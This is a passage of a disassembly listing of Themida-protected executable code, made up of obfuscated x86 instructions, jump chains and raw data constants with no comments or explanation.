--------------------------------------------------------------------------- loc_53D042: ; CODE XREF: Themida_:0053F695j push esi mov esi, 3FA00831h sub esi, 75790EA4h dec esi not esi add esi, 34B310A2h add ebx, esi pop esi add ebx, ecx push edx jmp loc_537470 ; --------------------------------------------------------------------------- dw 0E068h dd 0E900001Fh, 57DDh ; --------------------------------------------------------------------------- loc_53D06C: ; CODE XREF: Themida_:0053F13Ej mov ecx, esi pop esi or ecx, 6930331Bh sub ecx, 3EB10B3Bh push ebx mov ebx, 0D376D7FBh xor ecx, ebx jmp loc_53B3AD ; --------------------------------------------------------------------------- dd 0DA30B7B2h, 0FF9EC0E9h, 48F54FFh, 7B5E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_53D09A: ; CODE XREF: Themida_:0053C6ABj mov cl, 3Fh add ah, cl pop ecx sub ah, 93h jmp loc_5411EA ; --------------------------------------------------------------------------- db 89h dd 4C181E1h, 83000000h, 0C8704C1h, 0C7015C24h, 0FFA7FDE9h db 0FFh ; --------------------------------------------------------------------------- loc_53D0BD: ; CODE XREF: Themida_:0053FB0Dj pop ebp or edx, eax shl edx, 1 push edx push eax mov eax, 1EDF4E5Ch push ecx mov ecx, 7EF81B2Dh sub ecx, 6018CCB5h xor eax, ecx pop ecx mov edx, eax pop eax add edx, edi push eax mov eax, 0 sub eax, 6041DA1h jmp loc_5396D3 ; --------------------------------------------------------------------------- db 89h, 0E0h, 0E9h dd 0FFFFF202h, 3219C381h, 73E90CCDh, 83FFFFBBh, 148704EAh dd 14895C24h, 0BA73E924h, 0E981FFFFh, 7A1B73E1h, 59CB015Bh dd 2C381h, 6E90000h db 0F5h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53D123: ; CODE XREF: Themida_:0053BD06j mov ecx, edi pop edi shl ecx, 3 jmp loc_538615 ; --------------------------------------------------------------------------- loc_53D12E: ; CODE XREF: Themida_:00538C1Aj sub eax, 71356AFDh sub eax, ebx add eax, 71356AFDh push dword ptr [esp] pop ebx add esp, 4 push edi sub esp, 4 mov [esp], edx push 10h push dword ptr [esp] jmp loc_541D89 ; --------------------------------------------------------------------------- db 89h dd 0E0C15DE8h, 0EAA2E907h, 1C87FFFFh, 50D3E924h, 0EFC10000h dd 5BE95005h, 87FFFFE6h, 895C241Ch, 6856240Ch, 1710307Fh dd 0A2F6815Eh, 0E9541F01h, 0D0Eh, 852F81BBh, 5BDF295Dh dd 8106E7C1h, 0B8736BC7h, 5FFA29C1h, 0E956FA29h, 328Ah dd 2024248Bh, 0E99C2404h, 0FFFF9C0Ah, 4DA9B850h, 4E05688Dh dd 3579E10Eh, 389C3497h, 0C573E825h, 38F7056Ah, 0E94868F4h dd 0FFFFAFBCh, 0C381E389h, 4, 8704C383h, 575C241Ch, 4BFh dd 8BFB0100h, 0C483243Ch, 32C9E904h, 4BD0000h, 1000000h dd 59685DE8h, 8900004Fh, 48E92414h db 2Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_53D20F: ; CODE XREF: Themida_:0053EF4Aj sub esp, 4 mov [esp], eax jmp loc_539990 ; --------------------------------------------------------------------------- dw 0DC88h dd 0DFE9EB88h, 0F7FFFFFBh, 0E99C241Ch, 0FFFF9B96h, 64006866h dd 0FFA171E9h, 300566FFh, 972D6633h, 0FAF2E970h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53D242: ; CODE XREF: Themida_:0053C6F7j mov edx, ebp mov ebp, [esp] add esp, 4 inc edx jmp loc_53E95D ; --------------------------------------------------------------------------- db 0E9h dd 0FFFF9B6Ah ; --------------------------------------------------------------------------- loc_53D258: ; CODE XREF: Themida_:00542031j shr ecx, 6 add ecx, 6C857920h jmp loc_540D06 ; --------------------------------------------------------------------------- dw 5F54h dd 4C781h, 0FBE90000h db 0BEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53D273: ; CODE XREF: Themida_:00536F0Fj push ecx mov ecx, 693D3F23h xor edx, ecx pop ecx xor ecx, edx jmp loc_53C50E ; --------------------------------------------------------------------------- db 5Eh dd 3E9F901h, 66000056h, 0E924048Bh, 0FFFFA679h, 8BF0015Ch dd 38E92434h, 81FFFFC9h, 4C3h, 4C38100h, 87000000h, 248B241Ch dd 81C32924h, 9F6AA5C3h, 0E9008F7Ah, 0FFFF9B02h, 42474FFh dd 24048F59h, 8957505Ch, 4C781E7h, 0E9000000h, 4C73h, 565EF129h dd 0F13BF3BEh, 5EF1293Fh, 0C262E949h, 6852FFFFh, 308E2695h dd 0FFB3D4E9h, 95E951FFh, 83000035h, 39E904C4h, 66000036h dd 0B0240489h, 66C708A6h, 5624048Bh, 0C681E689h, 4, 2C681h dd 34870000h, 0C7805C24h, 4510486h, 280C044Dh, 0CC5EE9F8h dd 0E9F7FFFFh, 37B868h, 24148900h, 7FE99C50h, 88FFFF9Ah dd 7C8A5AF4h, 64880424h, 0F6580424h, 0B76EE9D7h, 8955FFFFh dd 5DEF89CDh, 25CF8159h, 0F71E5D69h, 1C781D7h, 0E9000000h dd 0B1Ah ; --------------------------------------------------------------------------- loc_53D370: ; CODE XREF: Themida_:005377FBj push ebp jmp loc_53E0F8 ; --------------------------------------------------------------------------- dw 8B66h dd 89562404h, 4BF57E6h, 0E9000000h, 0FFFFCA66h, 8B2434FFh dd 2E92414h db 0D4h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53D393: ; CODE XREF: Themida_:0053FC96j push eax jmp loc_53B0EA ; --------------------------------------------------------------------------- db 21h, 0D3h, 5Ah dd 23F9CB81h, 0F7435CA2h, 5F381D3h, 0E9A35DD4h, 0FFFF9A12h dd 154D092Dh, 24148B20h, 8304C483h, 22E904ECh db 44h, 2 dup(0) ; --------------------------------------------------------------------------- loc_53D3C3: ; CODE XREF: Themida_:0053E422j mov dh, ah mov eax, [esp] push edi mov edi, esp add edi, 4 add edi, 4 xor edi, [esp] xor [esp], edi xor edi, [esp] pop esp add al, 6Bh add al, dh sub al, 6Bh jmp loc_541B7A ; --------------------------------------------------------------------------- dd 0E9242C89h, 0FFFFD05Eh, 4C481h, 0EC810000h, 4, 0FF241C89h dd 5B042474h, 8B24048Fh, 0F7662424h, 0E68956E9h, 4EC81h dd 1C890000h, 0C50DE924h, 0EB89FFFFh, 4E63E95Dh, 4890000h dd 0E9585424h, 632h, 0A391E95Eh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53D43A: ; CODE XREF: Themida_:0053F526j pop ebp jmp loc_53ED77 ; --------------------------------------------------------------------------- dd 0C8BE0F66h, 4C216866h, 240C8966h, 0FF9971E9h, 48B66FFh dd 4EEB6824h, 34890000h, 4EC8324h, 51242489h, 0FFDDEAE9h db 0FFh ; --------------------------------------------------------------------------- loc_53D469: ; CODE XREF: Themida_:00540E9Dj sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], esi jmp loc_540419 ; --------------------------------------------------------------------------- dd 5CC1BE56h, 0E68150A5h, 2807182Dh, 4B48F681h, 0F729FAEBh dd 52BF575Eh, 5313C777h, 0FFFCF7E9h, 0E9DEF7FFh, 0FFFFB2E7h dd 2C5CF680h, 0E9F0002Ch, 0FFFFCC8Bh, 0E9CEC280h, 0FFFFF7F1h dd 0B60F6664h, 0D9F0E902h, 0C89FFFFh, 40A7E924h, 4000000h dd 0F3E99C24h db 98h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53D4CF: ; CODE XREF: Themida_:0054207Fj mov edx, [esp] add esp, 4 and eax, ecx jmp loc_54130E ; --------------------------------------------------------------------------- db 0E9h dd 0FFFF98DEh, 8704C083h, 0E95C2404h, 4B2Bh ; --------------------------------------------------------------------------- loc_53D4F0: ; CODE XREF: Themida_:0053F878j xor ecx, [esp] xor [esp], ecx xor ecx, [esp] pop esp jmp loc_539C7B ; --------------------------------------------------------------------------- loc_53D4FF: ; CODE XREF: Themida_:005376CDj xor ebp, 28D628ADh jmp loc_542BFB ; --------------------------------------------------------------------------- loc_53D50A: ; CODE XREF: Themida_:0053BD12j push esi mov esi, 4 add edi, esi jmp loc_53CE8A ; --------------------------------------------------------------------------- db 66h dd 5524048Bh, 5E1068h, 0BDFBE900h, 0E689FFFFh, 4F9ABA52h dd 4A422698h, 6782CA81h, 0EA81509Bh, 769B6F96h, 835AD601h dd 348704EEh, 0FBE95C24h, 66FFFFAEh, 80FC005Ah, 26E92CECh dd 1FFFFC0h, 0E9042454h, 2F33h, 9C2424D3h, 0FF9859E9h db 0FFh ; --------------------------------------------------------------------------- loc_53D569: ; CODE XREF: Themida_:0053DE85j mov [esp], ebx push eax jmp loc_5376D2 ; --------------------------------------------------------------------------- dd offset dword_573B68 dw 8900h dd 4832424h, 48F0424h, 24048324h, 24348B04h, 4C481h, 0C6810000h dd 4, 2BD55h, 0EE010000h, 81242C8Bh, 4C4h, 24343300h, 33243431h dd 248B2434h, 0D0F1E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53D5B6: ; CODE XREF: Themida_:00540B06j mov dl, 0FBh shl dl, 7 sub esp, 2 mov [esp], cx mov cl, 0B3h sub dl, cl pop cx dec dl add dl, 5Ah jmp loc_53E905 ; --------------------------------------------------------------------------- loc_53D5D5: ; CODE XREF: Themida_:0053DB64j add esi, 4 sub esp, 4 mov [esp], edi jmp loc_53D831 ; --------------------------------------------------------------------------- dw 8F5Fh dd 665C2404h, 9C240409h, 0FF97CDE9h, 2474FFFFh, 241C8B04h dd 4846E9h db 0 ; --------------------------------------------------------------------------- loc_53D601: ; CODE XREF: Themida_:0053B6CBj push esi mov esi, 67133546h jmp loc_5378FB ; --------------------------------------------------------------------------- dd 81241C89h, 4ECh, 24348900h, 1F3C68h, 242C8900h, 0A799E951h dd 0C780FFFFh, 1FB0508Dh, 400C9404h, 0F89E9h db 0 ; --------------------------------------------------------------------------- loc_53D635: ; CODE XREF: Themida_:0053B814j xor esi, edi pop edi push esi add dword ptr [esp], 506E6734h pop eax sub eax, 506E6734h push dword ptr [esp] pop esi add esp, 4 push 601Fh mov [esp], eax sub dword ptr [esp], 33A354CEh mov ebx, [esp] add esp, 4 add ebx, 33A354CEh pop eax jmp loc_542E2D ; --------------------------------------------------------------------------- loc_53D674: ; CODE XREF: Themida_:00539E3Cj xchg eax, [esp] jmp loc_53B936 ; --------------------------------------------------------------------------- dd 148B1088h, 0E1895124h, 4C181h, 0C1830000h, 0D982E904h dd 0BA52FFFFh, 5C601EE1h, 55AD029h, 72513514h, 81241C8Bh dd 4C4h, 0E9D82900h, 388Dh ; --------------------------------------------------------------------------- loc_53D6B0: ; CODE XREF: Themida_:005423C9j pop eax push dword ptr [ebx] add dword ptr [esp], 768A3CF2h jmp loc_5389FC ; --------------------------------------------------------------------------- db 0FFh dd 0FBE92C77h, 66FFFF96h, 0E9241489h, 562Ch, 9E773BBDh dd 6DF5813Eh, 0F75DE636h, 85CD81DDh, 814B8717h, 0BAF6A9F5h dd 0E9EA29C6h, 14B9h, 299DF381h, 0DA29735Dh, 43F3E95Bh dd 0C2310000h, 3EA8158h, 198E0D2h, 24148BD1h, 4C481h, 0CFE90000h dd 5E000029h, 0FFB81CE9h, 0FFEF83FFh, 0D104EFC1h, 251AE9E7h dd 0C330000h, 240C3124h, 5C240C33h, 9C2404D3h, 4B0DE9h dd 1E6F2D00h, 34FF40B3h, 240C8B24h, 451BE9h, 0F2815A00h dd 0E50DE8h, 15AD089h, 58082444h, 0E43BE95Ah, 3C89FFFFh dd 1BF24h, 0FE290000h, 0FFAC2BE9h db 0FFh ; --------------------------------------------------------------------------- loc_53D771: ; CODE XREF: Themida_:0053B82Ej push ebx mov ebx, 24331E7Bh shr ebx, 1 add ebx, 68EC71C5h jmp loc_542867 ; --------------------------------------------------------------------------- dd 7B1EEE81h, 0D6F7187Fh, 2922E9h db 0 ; --------------------------------------------------------------------------- loc_53D791: ; CODE XREF: Themida_:00541DA3j not ebp jmp loc_539B72 ; --------------------------------------------------------------------------- dd 83241C8Bh, 516604C4h, 30C3E9h, 0C316600h, 0C336624h dd 4243E924h, 4B80000h, 1000000h, 87E958C7h, 5400004Fh dd 5DBA5259h, 523ABF68h, 3D71E9h db 0 ; --------------------------------------------------------------------------- loc_53D7CD: ; CODE XREF: Themida_:00538660j sub eax, 9C1A6Bh add ebx, eax pop eax push esi mov esi, 4ED16726h jmp loc_542D93 ; --------------------------------------------------------------------------- loc_53D7E0: ; CODE XREF: Themida_:0053D9DCj mov edi, [esp] add esp, 4 push esi jmp loc_539EE7 ; --------------------------------------------------------------------------- dd 565BDF31h, 0FF1F7F68h, 0F6815E54h, 320450D7h, 4CF5F681h dd 35E91682h, 8100000Bh, 32D63DC6h, 21E9811Ch, 1527236h dd 21C181F1h, 0E9527236h, 1F63h, 4244C29h, 4246C81h, 569C7929h dd 0FFA902E9h db 0FFh ; --------------------------------------------------------------------------- loc_53D831: ; CODE XREF: Themida_:0053D5E1j mov edi, 4 jmp loc_54141D ; --------------------------------------------------------------------------- db 81h dd 0DA7D06C7h, 5FFA0187h, 8904EC83h, 0A3E9243Ch, 81FFFFCFh dd 42404h, 0E95B0000h, 1412h, 5866E528h, 0EB885366h, 0DA88D588h dd 51535B66h, 215CE9h, 0D0E95B00h, 50000005h, 0D8E9EC88h dd 87FFFFA1h, 685C243Ch, 4667h, 83241489h, 0C8904ECh, 18656824h dd 4890000h, 53CFB424h, 0C7E979B7h db 99h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53D8A3: ; CODE XREF: Themida_:0053B3F8j pop dword ptr [esp] pop esp jmp loc_539941 ; --------------------------------------------------------------------------- loc_53D8AC: ; CODE XREF: Themida_:00536E24j push edi mov edi, esp add edi, 4 jmp loc_5404F9 ; --------------------------------------------------------------------------- dw 4BEh dd 1000000h, 24348BF3h, 8304C483h, 1C8704EBh, 24248B24h dd 89243C89h, 4C781E7h, 81000000h, 2EFh, 74FF5700h, 3C8B0424h dd 4C48124h, 0E9000000h, 0FFFFAE25h, 0A1D4E959h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53D8FA: ; CODE XREF: Themida_:0053F672j mov [esp], esi push 2E87h mov [esp], eax mov eax, 9081180h mov esi, 0BEF6A72Fh jmp loc_5395B1 ; --------------------------------------------------------------------------- dd 0C581DDF7h, 728B726Eh, 0E95DEB01h, 3838h, 24048B66h dd 4EC81h, 2C890000h, 0E9E58924h, 0FFFFDCADh, 1287F681h dd 7DE91B60h, 81FFFFB4h, 4C4h, 4BA5200h, 1000000h, 0BD555AD1h dd 7FFA2D58h, 19E0BA52h, 0E28141A3h, 2A27302Dh, 24BE9h dd 4EA8300h, 31241433h, 14332414h, 1C895C24h, 0BFFABB24h dd 0D931CEFFh, 0FFEF2FE9h db 0FFh ; --------------------------------------------------------------------------- loc_53D985: ; CODE XREF: Themida_:0053F9F8j add ebx, eax sub ebx, 0C8F2180h jmp loc_537733 ; --------------------------------------------------------------------------- dw 8158h dd 0B6700CE7h, 0E9C7813Bh, 2947D525h, 0C3815FFBh, 39E27018h dd 0FFE9A4E9h db 0FFh ; --------------------------------------------------------------------------- loc_53D9AD: ; CODE XREF: Themida_:00542BF6j add ebp, 0EF7DE945h mov edx, ebp pop ebp and eax, edx pop edx jmp loc_53EAB3 ; --------------------------------------------------------------------------- dw 0B151h dd 80C1FE93h, 0C8009FF1h, 759E959h db 2 dup(0) ; --------------------------------------------------------------------------- loc_53D9CE: ; CODE XREF: Themida_:00540043j mov ecx, esp add ecx, 4 jmp loc_541163 ; --------------------------------------------------------------------------- loc_53D9DB: ; CODE XREF: Themida_:00538602j push esp jmp loc_53D7E0 ; --------------------------------------------------------------------------- db 0BFh, 4, 0 dd 0F8010000h, 4BB535Fh, 1000000h, 4335BD8h, 24043124h dd 0FFEF48E9h db 0FFh ; --------------------------------------------------------------------------- loc_53D9FD: ; CODE XREF: Themida_:0053AC0Ej push 17C14EEAh pop ecx add ecx, 3CB2308Ch xor ecx, 493D2E09h sub ecx, 0D7E74AF5h push ecx pop edi mov ecx, [esp] push ecx jmp loc_53E493 ; --------------------------------------------------------------------------- loc_53DA20: ; CODE XREF: Themida_:0053C940j push dword ptr [esp] pop ecx add esp, 4 sub esp, 4 mov [esp], esi mov esi, esp push ebx jmp loc_5423A5 ; --------------------------------------------------------------------------- dd 670D2DBFh, 5FFB2934h, 0C381D329h, 34670D2Dh, 29BE9h dd 24248B00h, 4530E9h, 5B545300h, 0AAF6E952h, 4ACFFFFh dd 0B688E931h, 0EC81FFFFh, 4, 0B9240C89h, 1DF84A50h, 0E181D1F7h dd 26E200D2h, 4D5BC981h, 0F181454Fh, 49F16C1h, 40CBE9h dd 9330E900h, 2C8BFFFFh, 0E722E924h, 77FFFFFFh, 11589D1Ch dd 0E99C2404h, 7ABh, 0FF9315E9h, 4EC83FFh, 0E9240C89h dd 0FFFFC4BEh, 29E95657h, 66FFFFF1h, 68240C8Bh, 29ADh dd 54242C89h, 0FFB039E9h db 0FFh ; --------------------------------------------------------------------------- loc_53DAD1: ; CODE XREF: Themida_:00536FCAj push esp pop ebp jmp loc_537FF8 ; --------------------------------------------------------------------------- loc_53DAD8: ; CODE XREF: Themida_:00539F13j xor edi, 154D6116h jmp loc_53EE2E ; --------------------------------------------------------------------------- db 8Bh dd 0C4832414h, 165BE904h, 0C4810000h, 4, 4C381h, 0BF570000h dd 2, 875FFB01h, 248B241Ch, 5357E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_53DB0E: ; CODE XREF: Themida_:0053FE44j sub esp, 4 mov [esp], ecx jmp loc_53EF20 ; --------------------------------------------------------------------------- loc_53DB19: ; CODE XREF: Themida_:0053C7A8j mov [esp], ebp jmp loc_54003D ; --------------------------------------------------------------------------- loc_53DB21: ; CODE XREF: Themida_:0054119Dj add ecx, 421E6D1Ch jmp loc_53F81B ; --------------------------------------------------------------------------- loc_53DB2C: ; CODE XREF: Themida_:005416FBj pop edx jmp loc_537CAF ; --------------------------------------------------------------------------- loc_53DB32: ; CODE XREF: Themida_:0053B09Ej push 69BCh mov [esp], edi push 1808h mov [esp], edx push 79723604h jmp loc_53BF74 ; --------------------------------------------------------------------------- dd 974FE953h, 0BB53FFFFh, 4, 0BB76C105h, 175FE949h db 2 dup(0) ; --------------------------------------------------------------------------- loc_53DB62: ; CODE XREF: Themida_:0053B5E0j mov esi, esp jmp loc_53D5D5 ; --------------------------------------------------------------------------- db 66h, 8Bh, 4 aHa db '$h─:',0 align 2 dw 489h aIrh db '$┴Юhя,',0 align 4 dd 68243489h, 4, 8324348Bh, 0FA2D04C4h, 12B3A1Eh, 1EFA05F0h dd 34FF2B3Ah, 0C4815E24h, 4, 1CD8E9h, 1C77FF00h, 1058669Dh dd 0E99C2404h, 0FFFF920Eh, 8142E2D1h, 7246F8E2h, 28EA8155h dd 3190709Dh, 24148BD5h, 4C481h, 0DDF70000h, 1956E9h db 0 ; --------------------------------------------------------------------------- loc_53DBD5: ; CODE XREF: Themida_:00541B75j xor edi, 798D462Bh sub edx, edi pop edi pop esi sub esi, 4D1070EAh add esi, 5FE0AFDh sub esi, edx sub esi, 5FE0AFDh add esi, 4D1070EAh pop edx shl esi, 1 sub esi, 0A3E2DF90h mov ecx, esi pop esi rep movsd add esp, [edx+38h] push ecx push 425B019Dh mov ecx, [esp] add esp, 4 jmp loc_53A176 ; --------------------------------------------------------------------------- dw 0D001h dd 8713B205h, 5E24054Fh, 8D2D5726h, 5260D452h, 0BE611CBAh dd 5AD0010Bh, 8124148Bh, 4C4h, 17F7E900h, 0E8890000h, 0E9D0F75Dh dd 0FFFFA3FEh, 2F41BD55h, 0C1452C00h, 0E95304E5h, 4123h dd 4BB53h, 13E90000h, 8100002Eh, 4C1h, 4C18100h, 0E9000000h dd 1A1Eh, 0D6CF8159h, 8161A359h, 6E368FE7h, 2DC8E903h dd 69040000h, 2025E9h, 0C7815F00h, 0E96277Fh, 2868565Bh dd 5E081D27h, 0EE83D6F7h, 1C68101h, 81000000h, 189444EEh dd 8BF72193h, 0C4832434h, 38CF8104h, 813F8851h, 0C51873EFh dd 8BF8893Fh, 0C481243Ch, 4, 0FF90E9E9h, 48F5BFFh, 0D3665C24h dd 0E99C242Ch, 0FFFF90DAh, 7CEB815Ah, 8178206Dh, 0F26518EBh dd 0C886E967h, 15AFFFFh, 60EF81EFh, 5D6C0B70h, 5C243C87h dd 0FFC2E1E9h, 40559FFh, 0E9000000h, 82Bh, 0DA3D99BEh dd 41CE814Dh, 8161DF48h, 39FA8C6h, 8BF329EFh, 89522434h dd 4C281E2h, 57000000h, 0D466AEBFh, 6FEF814Fh, 5620731Bh dd 133FFBBEh, 0C0F68150h, 0E97F7274h, 22C6h ; --------------------------------------------------------------------------- loc_53DD54: ; CODE XREF: Themida_:00542B0Dj pop eax jmp loc_53F138 ; --------------------------------------------------------------------------- loc_53DD5A: ; CODE XREF: Themida_:005383BBj push edi mov edi, esp add edi, 4 add edi, 4 jmp loc_53F21A ; --------------------------------------------------------------------------- dw 0C481h dd 4, 154D0905h, 3B01E920h, 0F2290000h, 7916C281h, 295E51A1h dd 24148BD1h, 0FFAF4AE9h, 4C483FFh, 5C242C87h, 9C2404FFh dd 0FF9021E9h, 5BB53FFh, 0F7508820h, 81D3F7DBh, 882000F3h dd 5BD90150h, 4B850h, 0D8E90000h, 33FFFFB4h, 0C31240Ch dd 240C3324h, 243CD25Ch, 8FF0E99Ch, 0C781FFFFh, 4CBA1309h dd 243C875Dh, 4EC835Ch, 0FFCD8BE9h db 0FFh ; --------------------------------------------------------------------------- loc_53DDE5: ; CODE XREF: Themida_:0053A5B3j push ebx mov ebx, esp add ebx, 4 jmp loc_5390E1 ; --------------------------------------------------------------------------- db 81h dd 4C2h, 4BD5500h, 1000000h, 14875DEAh, 0E9C35C24h, 0FFFF8FB6h ; --------------------------------------------------------------------------- loc_53DE0C: ; CODE XREF: Themida_:005396E8j add esp, 4 push dword ptr [esp] pop ecx push 6554h mov [esp], edx mov edx, esp push esi mov esi, 503A0AB2h add esi, 48AD6355h shl esi, 1 or esi, 868522Eh sub esi, 76042E1Dh sub esi, 0C3EAB00Dh add edx, esi jmp loc_537A71 ; --------------------------------------------------------------------------- db 66h dd 8124148Bh, 2C4h, 1762E900h, 8B5B0000h, 0C483240Ch, 8F60E904h dd 5BE9FFFFh db 8Fh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53DE67: ; CODE XREF: Themida_:005426B9j pop edi shl ebx, 4 jmp loc_5384A9 ; --------------------------------------------------------------------------- dd 835AD300h, 148904ECh, 0E93E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_53DE7E: ; CODE XREF: Themida_:0053CA37j sub ebx, 4 xchg ebx, [esp] pop esp jmp loc_53D569 ; --------------------------------------------------------------------------- dw 0EF81h dd 0DF199279h, 815FF831h, 4ECh, 4987E900h, 0CE810000h dd 31756CBh, 0EE81DEF7h, 0BCE08425h, 295EF189h, 2434FFCFh dd 0E2895259h, 0FFFF36E9h, 0C30059FFh, 2CE4E9h, 48DD6800h dd 3C890000h, 0B489E924h, 435FFFFFh, 4E40E952h, 0EC830000h dd 110BE904h, 1C870000h, 0AFAAE924h, 0D3E9FFFFh, 59FFFF8Eh dd 137BEB81h, 0EA8106BEh, 3D9424F3h, 0C281DA01h, 3D9424F3h dd 0FFC277E9h, 0EC815AFFh, 4, 0FFD2ADE9h, 47ECBFFFh, 0EF8112D1h dd 0C07BE65Bh, 0FEBD5557h, 163780Ah, 5D04246Ch, 8324148Bh dd 6BE904C4h, 0D1000025h, 1BF581E5h, 0E9683A30h, 416Ch dd 1BB7F181h, 99E9EDA0h, 81FFFFC3h, 1B1A26C1h, 81D9F75Ah dd 80D254E9h, 8BCE8951h, 66E9240Ch, 8B000027h, 89662424h dd 4FE9240Ch db 8Eh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53DF73: ; CODE XREF: Themida_:0053CF84j xor ebp, 6A55F2C1h and eax, ebp jmp loc_53A717 ; --------------------------------------------------------------------------- loc_53DF80: ; CODE XREF: Themida_:0053EAC3j mov [esp], ebx jmp loc_53CED0 ; --------------------------------------------------------------------------- loc_53DF88: ; CODE XREF: Themida_:00541D2Fj mov ebp, 4 add edi, ebp pop ebp xchg edi, [esp] jmp loc_5391B4 ; --------------------------------------------------------------------------- dd 34B368h, 240C8900h, 0FFB537E9h db 0FFh ; --------------------------------------------------------------------------- loc_53DFA5: ; CODE XREF: Themida_:00536EB3j pop eax push dword ptr [esp] jmp loc_53A66E ; --------------------------------------------------------------------------- dw 0E381h dd 3A411CC1h, 3094C381h, 89E9E4D0h db 9Eh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53DFBF: ; CODE XREF: Themida_:0053B35Ej pop edi mov [edi+24h], edx push dword ptr [esp] jmp loc_542E81 ; --------------------------------------------------------------------------- db 83h dd 48E904C4h, 87FFFF94h, 248B241Ch, 24348924h, 10E9E689h dd 0FFFFFF8Eh, 9BE92434h, 0FFFFFFA0h, 8B042474h, 46682404h dd 89000044h, 0E954241Ch, 0FFFF9B71h, 0E9240C89h, 0FFFFEC41h dd 0C781E789h, 4, 8704EF83h, 6FE9243Ch, 5CFFFFA6h, 24048B66h dd 81E38953h, 4ECh, 24148900h, 0FFD788E9h, 0EF805AFFh dd 55CF80BDh, 0B7535266h, 3024B614h, 0F7305BFEh, 0F8885A66h dd 58C3885Bh, 8B66D828h, 0C481241Ch, 2, 4FBD68h, 241C8900h dd 350456B7h, 54041D2Ch, 42A8E9h, 2434FF00h, 4C4835Dh dd 355E9h db 0 ; --------------------------------------------------------------------------- loc_53E079: ; CODE XREF: Themida_:005411DCj pop eax mov ah, dl pop edx add bl, ah push dword ptr [esp] pop eax jmp loc_53B7AE ; --------------------------------------------------------------------------- loc_53E088: ; CODE XREF: Themida_:00540E62j mov [esp], eax mov eax, 1 sub esp, 4 mov [esp], eax mov ebx, [esp] jmp loc_5423D9 ; --------------------------------------------------------------------------- loc_53E0A1: ; CODE XREF: Themida_:0053CBE3j neg edi xor edi, 2704A40h xor edi, 6578014Ch add edi, 5B02959Ch add eax, edi pop edi xor eax, 0CD0FF942h add ebp, 4C7B0758h add ebp, eax sub ebp, 4C7B0758h jmp loc_53CDD8 ; --------------------------------------------------------------------------- dd 3E8DF781h, 0FB898C9Eh, 1310E95Fh, 0B2520000h, 0E9E2D050h dd 0D82h ; --------------------------------------------------------------------------- loc_53E0E8: ; CODE XREF: Themida_:0053B78Cj push edi mov edi, esp jmp loc_537580 ; --------------------------------------------------------------------------- aAS2 db '─ц╣И!2',0 align 4 loc_53E0F8: ; CODE XREF: Themida_:0053D371j push 2ED8h mov [esp], ecx push esi mov esi, 0A3D327Ah and esi, 32382952h jmp loc_541573 ; --------------------------------------------------------------------------- loc_53E111: ; CODE XREF: Themida_:0054122Bj pop ebx push ebx mov ebx, 72AE2FF9h inc ebx inc ebx sub ebx, 72AE2FF7h add eax, ebx jmp loc_53C67C ; --------------------------------------------------------------------------- db 66h db 8Bh, 14h, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 2 jmp loc_53EE16 ; --------------------------------------------------------------------------- db 89h dd 0A8BA52E1h, 0E90EC76Bh, 0FFFFAB9Fh ; --------------------------------------------------------------------------- loc_53E14C: ; CODE XREF: Themida_:0053E53Ej add edi, 53344576h sub edi, 28F77810h add edi, 0C14AC76Ah sub esp, 4 mov [esp], esi mov esi, 61334FCAh jmp loc_539A5B ; --------------------------------------------------------------------------- db 5Eh, 0C1h, 0EAh dd 9EE28102h, 81587724h, 0F360BFF2h, 8BD60974h, 0C4832414h dd 5E6C104h, 8185C681h, 0F02939F4h, 8124348Bh, 4C4h, 479B0500h dd 69682A20h, 89000030h, 0A6BF243Ch, 0C1385224h, 33E904E7h dd 0ACFFFF9Dh, 80F7B252h, 0CAFEEFEAh, 0C0A3F280h, 0A2E906E2h dd 89FFFFA5h, 4C781E7h, 55000000h, 4BDh, 9EF8100h, 14CBA13h dd 0FBECE9EFh, 431FFFFh, 24043324h, 2424895Ch, 0FF9696E9h db 0FFh ; --------------------------------------------------------------------------- loc_53E1F5: ; CODE XREF: Themida_:00537F5Dj add ecx, 4 xchg ecx, [esp] mov esp, [esp] shr eax, 0Bh xor ecx, eax jmp loc_53A8C7 ; --------------------------------------------------------------------------- dd 8042B652h, 0D6F601EEh, 0C6FEC6FEh, 0E9E0E680h, 0FFFFD014h dd 0BD555058h, 722D04B5h, 1C9CE9h db 0 ; --------------------------------------------------------------------------- loc_53E229: ; CODE XREF: Themida_:0053AF1Dj sub ebx, ebp pop ebp jmp loc_536E18 ; --------------------------------------------------------------------------- db 66h, 8Bh, 0Ch aHE db '$hйE',0 align 2 dw 0EBE9h dd 0BEFFFFF1h, 42620EB3h, 815EF289h, 4C2433F2h, 86E9427Ch dd 0E9000039h, 0FFFF8B6Ah, 0C103EBC1h, 0C38104E3h, 1DE67737h dd 0FFE5F3E9h, 0E9E588FFh, 0FFFF9BCFh, 8FE951h, 8B660000h dd 8957240Ch, 0BF5750E7h, 1D6B208Dh, 5B7C781h, 0EF810457h dd 4BDC4053h, 4D74CF81h, 0BA52095Bh, 632E6C6Ah, 815AD709h dd 214476E7h, 72F7817Dh, 897D2144h, 2FE95FF8h, 89FFFFEDh dd 0D1B9240Ch, 8142BD78h, 75337F1h, 0E7E9815Fh, 0E9759250h dd 0FFFFC7F5h ; --------------------------------------------------------------------------- loc_53E2CC: ; CODE XREF: Themida_:0053FD2Cj mov esi, 4 add ebx, esi pop esi sub ebx, 4 xor ebx, [esp] xor [esp], ebx jmp loc_540E5E ; --------------------------------------------------------------------------- db 50h, 89h, 0F0h dd 4611E950h, 0EA810000h, 112A11EDh, 260FCA81h, 0BD5515F3h dd 0B9643B02h, 0FF9E12E9h, 81E189FFh, 